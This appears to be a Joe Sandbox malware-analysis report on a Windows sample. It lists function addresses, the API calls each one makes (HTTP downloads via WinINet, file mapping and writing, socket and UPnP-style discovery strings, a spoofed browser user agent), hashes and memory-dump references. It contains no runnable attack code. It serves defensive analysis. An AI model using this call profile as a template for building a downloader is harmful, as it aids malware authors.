Opcode ID: c7654f31e89d91c1c7a0e640e7adfa6a7e0684f185013bf68e28b6683bc3e05a
Instruction ID: e955f883797a19afba403fb4bb1b0f9258be9a3219da5a2a8556d37a4b3763d0
Opcode Fuzzy Hash: c7654f31e89d91c1c7a0e640e7adfa6a7e0684f185013bf68e28b6683bc3e05a
Instruction Fuzzy Hash: 73515C71A01228ABDB26CF54CC44BDD77BCAB48705F1085E9F60DA6280CBB9ABC4CF54

Function 00401600 Relevance: 26.3, APIs: 12, Strings: 3, Instructions: 96
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32(?,00000000,?,?,004021A5,00000000), ref: 0040161F
InterlockedDecrement.KERNEL32(?), ref: 0040164B
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 00401663
InterlockedIncrement.KERNEL32(?), ref: 00401691
InterlockedDecrement.KERNEL32(?), ref: 004016A1
LeaveCriticalSection.KERNEL32(?,?,?,004021A5,00000000), ref: 004016B9
SetEvent.KERNEL32(?,?,?,004021A5,00000000), ref: 004016C3
PostQueuedCompletionStatus.KERNEL32(?,00000000,00000000,00000000,?,?,004021A5,00000000), ref: 004016E0
CloseHandle.KERNEL32(?,?,?,004021A5,00000000), ref: 00401709
CloseHandle.KERNEL32(?,?,?,004021A5,00000000), ref: 0040170F
WSACloseEvent.WS2_32(?), ref: 00401715
DeleteCriticalSection.KERNEL32(?,?,?,?,004021A5,00000000), ref: 0040172B

Strings

.Mw, xrefs: 004016FF
ilci, xrefs: 00401630
PCOI, xrefs: 0040160D

Memory Dump Source

Source File: 00000003.00000002.1489398252.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1489356853.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489438794.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_2374323789.jbxd

Similarity

API ID: Interlocked$CloseCriticalSection$DecrementEventHandle$CompletionDeleteEnterExchangeIncrementLeavePostQueuedStatus
String ID: PCOI$ilci$.Mw
API String ID: 2403999931-2607080227
Opcode ID: c44d603fe9a75a3e452b6e95f97135d336e9b1c5a023eff3a58c0289fb86f454
Instruction ID: 0b50c8f8eba6d918d1ff78dc69fee2fe4193f5a447302b2e0c9d98a55ef35816
Opcode Fuzzy Hash: c44d603fe9a75a3e452b6e95f97135d336e9b1c5a023eff3a58c0289fb86f454
Instruction Fuzzy Hash: 6731A671900705ABC710AF70EC48B97B7B8BF09300F048A3EE559A7690D779F894CB98

Function 00405880 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 73
windowsleepregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.NTDLL ref: 00405898
GetModuleHandleW.KERNEL32(00000000), ref: 004058B0
Sleep.KERNEL32(00000001), ref: 004058C4
GetTickCount.KERNEL32 ref: 004058CA
GetTickCount.KERNEL32 ref: 004058D3
wsprintfW.USER32 ref: 004058E6
RegisterClassExW.USER32(00000030), ref: 004058F3
CreateWindowExW.USER32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,000000FD,00000000,?,00000000), ref: 0040591C
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 00405937
TranslateMessage.USER32(?), ref: 00405945
DispatchMessageA.USER32(?), ref: 0040594F
ExitThread.KERNEL32 ref: 00405961

Strings

%x%X, xrefs: 004058DA
0, xrefs: 004058A0

Memory Dump Source

Source File: 00000003.00000002.1489398252.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1489356853.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489438794.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_2374323789.jbxd

Similarity

API ID: Message$CountTick$ClassCreateDispatchExitHandleModuleRegisterSleepThreadTranslateWindowmemsetwsprintf
String ID: %x%X$0
API String ID: 716646876-225668902
Opcode ID: 782a45269e3dbcd5f001198ba08731f5a4c25339978a850d22dce32c5997214b
Instruction ID: 85e967beda8c0998690da8d5d0b59a8f0be79fc45de23a81cc248e6733ffc6a2
Opcode Fuzzy Hash: 782a45269e3dbcd5f001198ba08731f5a4c25339978a850d22dce32c5997214b
Instruction Fuzzy Hash: DB211DB1940308BBEB10ABA0DC49FEE7B78EB04711F10812AF601BA1D0DBB99545CF68

Function 0040DBC0 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 130
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.NTDLL ref: 0040DBE8
InternetCrackUrlA.WININET(0040D699,00000000,10000000,0000003C), ref: 0040DC38
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040DC48
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040DC81
HttpOpenRequestA.WININET(00000000,GET,?,00000000,00000000,00000000,00000000,00000000), ref: 0040DCB7
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040DCDF
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040DD28
memcpy.NTDLL(00000000,?,00000000), ref: 0040DD7A
InternetCloseHandle.WININET(00000000), ref: 0040DDB7
InternetCloseHandle.WININET(00000000), ref: 0040DDC4
InternetCloseHandle.WININET(00000000), ref: 0040DDD1

Strings

<, xrefs: 0040DBF0
GET, xrefs: 0040DCAB

Memory Dump Source

Source File: 00000003.00000002.1489398252.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1489356853.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489438794.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_2374323789.jbxd

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectCrackFileReadSendmemcpymemset
String ID: <$GET
API String ID: 1205665004-427699995
Opcode ID: 3d63e0aafab1991fc3654c1209df296bc7dd287a5f283a095d403ee724d31a9f
Instruction ID: 2be109b622ab9a99a7f53353d246b615867c30bbfdc4ae23a93fa512118ea852
Opcode Fuzzy Hash: 3d63e0aafab1991fc3654c1209df296bc7dd287a5f283a095d403ee724d31a9f
Instruction Fuzzy Hash: CA511CB5D01228ABDB36CB50CC55BE9B7BCAB44705F0480E9E60DAA2C0D7B96BC4CF54

Function 0040E7C0 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 144fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000000,00000000), ref: 0040E7F2
CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 0040E813
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 0040E832
GetFileSize.KERNEL32(000000FF,00000000), ref: 0040E84B
memcmp.NTDLL ref: 0040E8DD
UnmapViewOfFile.KERNEL32(00000000), ref: 0040E900
CloseHandle.KERNEL32(00000000), ref: 0040E90A
CloseHandle.KERNEL32(000000FF), ref: 0040E914
CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040E933
WriteFile.KERNEL32(000000FF,00000000,00000000,00000000,00000000), ref: 0040E958
CloseHandle.KERNEL32(000000FF), ref: 0040E962

Strings

.Mw, xrefs: 0040E90A, 0040E914, 0040E962

Memory Dump Source

Source File: 00000003.00000002.1489398252.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1489356853.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489438794.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_2374323789.jbxd

Similarity

API ID: File$CloseCreateHandle$View$MappingSizeUnmapWritememcmp
String ID: .Mw
API String ID: 3902698870-2453323595
Opcode ID: b869aee79376eb15e29cfc35776bfc365ceedf1ca9f967d9851591379fd0193a
Instruction ID: 0da617c1af0bd4dbc976a582f880bbe3058530cb6ade4bb6176e088db5cb8200
Opcode Fuzzy Hash: b869aee79376eb15e29cfc35776bfc365ceedf1ca9f967d9851591379fd0193a
Instruction Fuzzy Hash: D3516DB5E00308FBDB14DBA4CC49BEEB774AB48304F108569F611BB2C1D7B9AA40CB58

Function 0040B2C0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 107fileCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(00416690,?,?,?,?,?,?,00407A56), ref: 0040B2CB
CreateFileW.KERNEL32(00416478,80000000,00000000,00000000,00000003,00000000,00000000), ref: 0040B31D
CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 0040B33E
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 0040B35D
GetFileSize.KERNEL32(000000FF,00000000), ref: 0040B372
UnmapViewOfFile.KERNEL32(00000000), ref: 0040B3D8
CloseHandle.KERNEL32(00000000), ref: 0040B3E2
CloseHandle.KERNEL32(000000FF), ref: 0040B3EC

Part of subcall function 0040D4A0: NtQuerySystemTime.NTDLL(0040B3B5), ref: 0040D4AA
Part of subcall function 0040D4A0: RtlTimeToSecondsSince1980.NTDLL(0040B3B5,?), ref: 0040D4B8

Strings

.Mw, xrefs: 0040B3E2, 0040B3EC
Vz@, xrefs: 0040B33A, 0040B3E8, 0040B36E

Memory Dump Source

Source File: 00000003.00000002.1489398252.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1489356853.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489438794.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_2374323789.jbxd

Similarity

API ID: File$CloseCreateHandleTimeView$CriticalInitializeMappingQuerySecondsSectionSince1980SizeSystemUnmap
String ID: Vz@$.Mw
API String ID: 439099756-60430008
Opcode ID: ee7dbac5f2ba26ac0a343239ed6675f37eb8ab6d8ccb57ef49a08724b9c129be
Instruction ID: 3b431581fb8605495e02e5545908ab4f756817927d1539066ca4ce1953719e7c
Opcode Fuzzy Hash: ee7dbac5f2ba26ac0a343239ed6675f37eb8ab6d8ccb57ef49a08724b9c129be
Instruction Fuzzy Hash: 91411C74E40309EBDB10DFA4DC4ABAEB774EB44704F208569EA11BA2C1C7B96541CB9D

Function 0040D2D0 Relevance: 16.6, APIs: 11, Instructions: 95threadsleepsynchronizationCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 0040D2D6
GetThreadPriority.KERNEL32(00000000,?,?,?,00407AD2,?,000000FF), ref: 0040D2DD
GetCurrentThread.KERNEL32 ref: 0040D2E8
SetThreadPriority.KERNEL32(00000000,?,?,?,00407AD2,?,000000FF), ref: 0040D2EF
InterlockedExchangeAdd.KERNEL32(00407AD2,00000000), ref: 0040D312
EnterCriticalSection.KERNEL32(000000FB), ref: 0040D347
WaitForSingleObject.KERNEL32(000000FF,00000000), ref: 0040D392
LeaveCriticalSection.KERNEL32(000000FB), ref: 0040D3AE
Sleep.KERNEL32(00000001), ref: 0040D3DE
GetCurrentThread.KERNEL32 ref: 0040D3ED
SetThreadPriority.KERNEL32(00000000,?,?,?,00407AD2), ref: 0040D3F4

Memory Dump Source

Source File: 00000003.00000002.1489398252.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1489356853.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489438794.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_2374323789.jbxd

Similarity

API ID: Thread$CurrentPriority$CriticalSection$EnterExchangeInterlockedLeaveObjectSingleSleepWait
String ID:
API String ID: 3862671961-0
Opcode ID: 5618e667e755a89869c685173e38bf799e2d1f6c3c7819217eae43ff0fa2d7e3
Instruction ID: a8d0ef9cc0f8c3f9fe641a145e15df681aa384361be6a62e8494921e8eef4e23
Opcode Fuzzy Hash: 5618e667e755a89869c685173e38bf799e2d1f6c3c7819217eae43ff0fa2d7e3
Instruction Fuzzy Hash: 0A411A74D00209EFDB04DFE4D888BAEBB71EB44315F14816AE916A7380D7789A85CF5A

Function 00405BC0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 97fileCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(00415E30,?,?,?,?,?,00407A20), ref: 00405BCB
CreateFileW.KERNEL32(00416060,80000000,00000000,00000000,00000003,00000000,00000000,?,?,?,?,?,00407A20), ref: 00405BE5
CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 00405C06
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 00405C25
GetFileSize.KERNEL32(000000FF,00000000), ref: 00405C3E
UnmapViewOfFile.KERNEL32(00000000), ref: 00405CCB
CloseHandle.KERNEL32(00000000), ref: 00405CD5
CloseHandle.KERNEL32(000000FF), ref: 00405CDF

Strings

.Mw, xrefs: 00405CD5, 00405CDF

Memory Dump Source

Source File: 00000003.00000002.1489398252.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1489356853.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489438794.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_2374323789.jbxd

Similarity

API ID: File$CloseCreateHandleView$CriticalInitializeMappingSectionSizeUnmap
String ID: .Mw
API String ID: 3956458805-2453323595
Opcode ID: b6454fe67246050de154b4b2d7b685814819646854cbf1c4f394f4a459172caa
Instruction ID: 44e1aa5071e985e1939c8a19f3b292d5e35966d71e561f6040ad28af9ac572d1
Opcode Fuzzy Hash: b6454fe67246050de154b4b2d7b685814819646854cbf1c4f394f4a459172caa
Instruction Fuzzy Hash: 4B31FD74E44309EBEB14DBA4CD49BAFBB74EB48700F208569E601772C0D7B96941CF99

Function 00406060 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 176fileCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00415E30,00000000,0040B8F2,006A0266,?,0040B90E,00000000,0040D0A4,?), ref: 0040606F
memcpy.NTDLL(?,00000000,00000100), ref: 00406101
CreateFileW.KERNEL32(00416060,40000000,00000000,00000000,00000002,00000002,00000000), ref: 00406225
WriteFile.KERNEL32(000000FF,?,?,?,00000000), ref: 00406287
FlushFileBuffers.KERNEL32(000000FF), ref: 00406293
CloseHandle.KERNEL32(000000FF), ref: 0040629D
LeaveCriticalSection.KERNEL32(00415E30,?,?,?,?,?,?,0040B90E,00000000,0040D0A4,?), ref: 004062A8

Strings

.Mw, xrefs: 0040629D

Memory Dump Source

Source File: 00000003.00000002.1489398252.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1489356853.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489438794.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_2374323789.jbxd

Similarity

API ID: File$CriticalSection$BuffersCloseCreateEnterFlushHandleLeaveWritememcpy
String ID: .Mw
API String ID: 1457358591-2453323595
Opcode ID: b744e7b7a8629e3496ebe2098ab67372d645442e6c28ada4e438c42de121c9cd
Instruction ID: bb102638da67a563b53aa46b2a5b6ce2f3b38349fb156310049a7a66f3822ae6
Opcode Fuzzy Hash: b744e7b7a8629e3496ebe2098ab67372d645442e6c28ada4e438c42de121c9cd
Instruction Fuzzy Hash: 1D71DEB5E002099BCB04DF94D981FEFB7B1BB88304F14816DE505BB382D779A951CBA5

Function 00401D60 Relevance: 13.6, APIs: 9, Instructions: 141COMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,00000000), ref: 00401D86
InterlockedDecrement.KERNEL32(?), ref: 00401DB0
InterlockedDecrement.KERNEL32(?), ref: 00401DC3
InterlockedExchangeAdd.KERNEL32(?,?), ref: 00401DD4
InterlockedDecrement.KERNEL32(?), ref: 00401E5B
InterlockedDecrement.KERNEL32(?), ref: 00401EF6
setsockopt.WS2_32 ref: 00401F2C
closesocket.WS2_32(?), ref: 00401F39

Part of subcall function 0040D4A0: NtQuerySystemTime.NTDLL(0040B3B5), ref: 0040D4AA
Part of subcall function 0040D4A0: RtlTimeToSecondsSince1980.NTDLL(0040B3B5,?), ref: 0040D4B8

Memory Dump Source

Source File: 00000003.00000002.1489398252.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1489356853.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489438794.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_2374323789.jbxd

Similarity

API ID: Interlocked$Decrement$ExchangeTime$QuerySecondsSince1980Systemclosesocketsetsockopt
String ID:
API String ID: 671207744-0
Opcode ID: 455a785a1462a168860a16a7b96cb30f84d4113cb7820f003e1e275d5cc4599c
Instruction ID: a48952fab395babe4cfd63b323185ec8fb23c48b53ef468cda2161a158f186bf
Opcode Fuzzy Hash: 455a785a1462a168860a16a7b96cb30f84d4113cb7820f003e1e275d5cc4599c
Instruction Fuzzy Hash: 7A51B075608702ABC704DF29D888B9BFBE5BF88314F40862EF85D93360D774A545CB96

Function 0040D890 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 60sleepCOMMON

Download Yara Rule

APIs

recvfrom.WS2_32(000000FF,?,00000400,00000000,00000000,00000000), ref: 0040D8DE
Sleep.KERNEL32(000003E8), ref: 0040D8EE
StrCmpNIA.SHLWAPI(?,HTTP/1.1 200 OK,0000000F), ref: 0040D90B
StrStrIA.SHLWAPI(?,LOCATION: ), ref: 0040D921
StrChrA.SHLWAPI(?,0000000D), ref: 0040D94E

Strings

LOCATION: , xrefs: 0040D915
HTTP/1.1 200 OK, xrefs: 0040D8FF

Memory Dump Source

Source File: 00000003.00000002.1489398252.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1489356853.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489438794.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_2374323789.jbxd

Similarity

API ID: Sleeprecvfrom
String ID: HTTP/1.1 200 OK$LOCATION:
API String ID: 668330359-3973262388
Opcode ID: 64c51f4f778a0849bb65c465f972bc246fe4ea33ddc01750ea485b3e9e3c6488
Instruction ID: aa1d0310fbaa0e5548ad160d3530673878f91993e129ff42f305da2a80d3425b
Opcode Fuzzy Hash: 64c51f4f778a0849bb65c465f972bc246fe4ea33ddc01750ea485b3e9e3c6488
Instruction Fuzzy Hash: 88215EB5D00218ABDB20DF64DC49BE97774AB04708F1486E9E719B62C0C7B95ACA8F5C

Function 0040EA30 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 57networksleepCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36,00000001,00000000,00000000,00000000), ref: 0040EA47
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040EA66
HttpQueryInfoA.WININET(00000000,20000005,?,00000004,00000000), ref: 0040EA8F
InternetCloseHandle.WININET(00000000), ref: 0040EAB8
InternetCloseHandle.WININET(00000000), ref: 0040EAC2
Sleep.KERNEL32(000003E8), ref: 0040EACD

Strings

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36, xrefs: 0040EA42

Memory Dump Source

Source File: 00000003.00000002.1489398252.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1489356853.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489438794.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_2374323789.jbxd

Similarity

API ID: Internet$CloseHandleOpen$HttpInfoQuerySleep
String ID: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
API String ID: 2743515581-2960703779
Opcode ID: ef8e19ed345852c8d52971dd1004b0fcc021cc447378e9d991bc7cd61a6891ce
Instruction ID: 45b81d3650d60dd7d70083547d95fe89803667d47bfd0af2cf5eef3cde06382e
Opcode Fuzzy Hash: ef8e19ed345852c8d52971dd1004b0fcc021cc447378e9d991bc7cd61a6891ce
Instruction Fuzzy Hash: 4021E774A40308BBEB11DB94CC49FEEB775BB48705F1085A9FA11AA2C0C7B96A40CB55

Function 0040E240 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 112stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(00000000,device), ref: 0040E2FC
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040E34B
SysFreeString.OLEAUT32(00000000), ref: 0040E35F
SysFreeString.OLEAUT32(00000000), ref: 0040E377

Strings

device, xrefs: 0040E2F3
deviceType, xrefs: 0040E306

Memory Dump Source

Source File: 00000003.00000002.1489398252.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1489356853.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489438794.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_2374323789.jbxd

Similarity

API ID: FreeStringlstrcmpi
String ID: device$deviceType
API String ID: 1602765415-3511266565
Opcode ID: 1b177aca5382db3f1c66da14849aee522d75b48b0e19709232399be15e741896
Instruction ID: d9bf12878483276118e69e011fb1eaaed98ea0d23904e8601ea4f62f39df24ad
Opcode Fuzzy Hash: 1b177aca5382db3f1c66da14849aee522d75b48b0e19709232399be15e741896
Instruction Fuzzy Hash: C4412D74A0020ADFCB04DF95C884FAFBBB5BF49304F108969E915A7390D778AD81CB95

Function 0040E0E0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 112stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(00000000,service), ref: 0040E19C
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040E1EB
SysFreeString.OLEAUT32(00000000), ref: 0040E1FF
SysFreeString.OLEAUT32(00000000), ref: 0040E217

Strings

serviceType, xrefs: 0040E1A6
service, xrefs: 0040E193

Memory Dump Source

Source File: 00000003.00000002.1489398252.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1489356853.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489438794.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_2374323789.jbxd

Similarity

API ID: FreeStringlstrcmpi
String ID: service$serviceType
API String ID: 1602765415-3667235276
Opcode ID: 99a16f71be16d8847cb7d1021c7ddccdc4dc2b0592ef80971ad883e08ff36aa9
Instruction ID: 8be64e74ab35422ce5b67f5b255e261f781d2e412f5a45cda6e842047ddde31e
Opcode Fuzzy Hash: 99a16f71be16d8847cb7d1021c7ddccdc4dc2b0592ef80971ad883e08ff36aa9
Instruction Fuzzy Hash: BB41E874A0020ADFCB14CF99C884BAFB7B9BF48304F1085ADE515A7390D778AA81CF95

Function 004022C0 Relevance: 10.6, APIs: 7, Instructions: 95COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,004019BB,00000000), ref: 004022DA
LeaveCriticalSection.KERNEL32(?,?,?,004019BB,00000000), ref: 004022FE

Memory Dump Source

Source File: 00000003.00000002.1489398252.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1489356853.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489438794.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_2374323789.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: d030d70e23b1ee81df40ddde676cc41bbc8b28927f5a1e966705551878972145
Instruction ID: 16d4c05c25790a512fd8f3a1e6e85bd280fefa1845e4e3e4af960acff63a7a98
Opcode Fuzzy Hash: d030d70e23b1ee81df40ddde676cc41bbc8b28927f5a1e966705551878972145
Instruction Fuzzy Hash: DE31D1722012059FC310AFB5FD8CAD7B7A8FF44324F04863EE559D3280D778A4449BA9

Function 0040E281 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 89stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(00000000,device), ref: 0040E2FC
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040E34B
SysFreeString.OLEAUT32(00000000), ref: 0040E35F
SysFreeString.OLEAUT32(00000000), ref: 0040E377

Strings

device, xrefs: 0040E2F3
deviceType, xrefs: 0040E306

Memory Dump Source

Source File: 00000003.00000002.1489398252.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1489356853.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489438794.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_2374323789.jbxd

Similarity

API ID: FreeStringlstrcmpi
String ID: device$deviceType
API String ID: 1602765415-3511266565
Opcode ID: 7884966aedb5b48ec66d747cdb098c486fa550d692640b6eadd274145b97d250
Instruction ID: b41677b7307b510c0c46b42eeb4edde7184acd44519d028b9e49cf38c7e22350
Opcode Fuzzy Hash: 7884966aedb5b48ec66d747cdb098c486fa550d692640b6eadd274145b97d250
Instruction Fuzzy Hash: 24310C74A0020ADFCB14DF95C884FAFBBB5BF88304F108969E915B7390D778A981CB95

Function 0040E121 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 89stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(00000000,service), ref: 0040E19C
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040E1EB
SysFreeString.OLEAUT32(00000000), ref: 0040E1FF
SysFreeString.OLEAUT32(00000000), ref: 0040E217

Strings

serviceType, xrefs: 0040E1A6
service, xrefs: 0040E193

Memory Dump Source

Source File: 00000003.00000002.1489398252.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1489356853.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1489438794.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_2374323789.jbxd

Similarity

API ID: FreeStringlstrcmpi
String ID: service$serviceType
API String ID: 1602765415-3667235276
Opcode ID: 1c5e78dc8b18edf47e620e5ac62898c9c9dab53ef6afcc05c5ff165d884242d4
